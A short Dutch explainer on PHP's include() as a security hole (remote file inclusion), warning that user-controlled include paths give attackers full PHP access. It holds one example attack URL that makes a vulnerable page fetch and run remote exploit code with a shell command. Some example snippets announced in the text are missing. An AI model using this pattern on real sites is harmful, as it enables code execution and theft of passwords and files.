Include(): het 'lek'
include() in php is voornamelijk bedoeld om andere php code te laden (functies/classes en dergelijke). Ook wordt het veel op deze manier gebruikt:
Een phpfile fout.php met:
Wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat. Hierdoor geef je een willekeurige hacker volledige toegang tot php.. vervolgens kunnen je mysql wachtwoorden uitgelezen worden, en je homedir uitgeplozen (eventuele backups opgezocht die je nog in je homedir hebt staan, etc. etc.)
Het voornaamste probleem zit hem in php met de ondersteuning voor het ophalen van bestanden van andere servers. Dit erg makkelijk: je hoeft alleen een url op te geven. Hierdoor kan je alleen ook include() gebruiken om andere bestanden dan je bedoeld hebt te includen. Deze controle geef je aan de gebruiker - et voila: een veiligheidslek.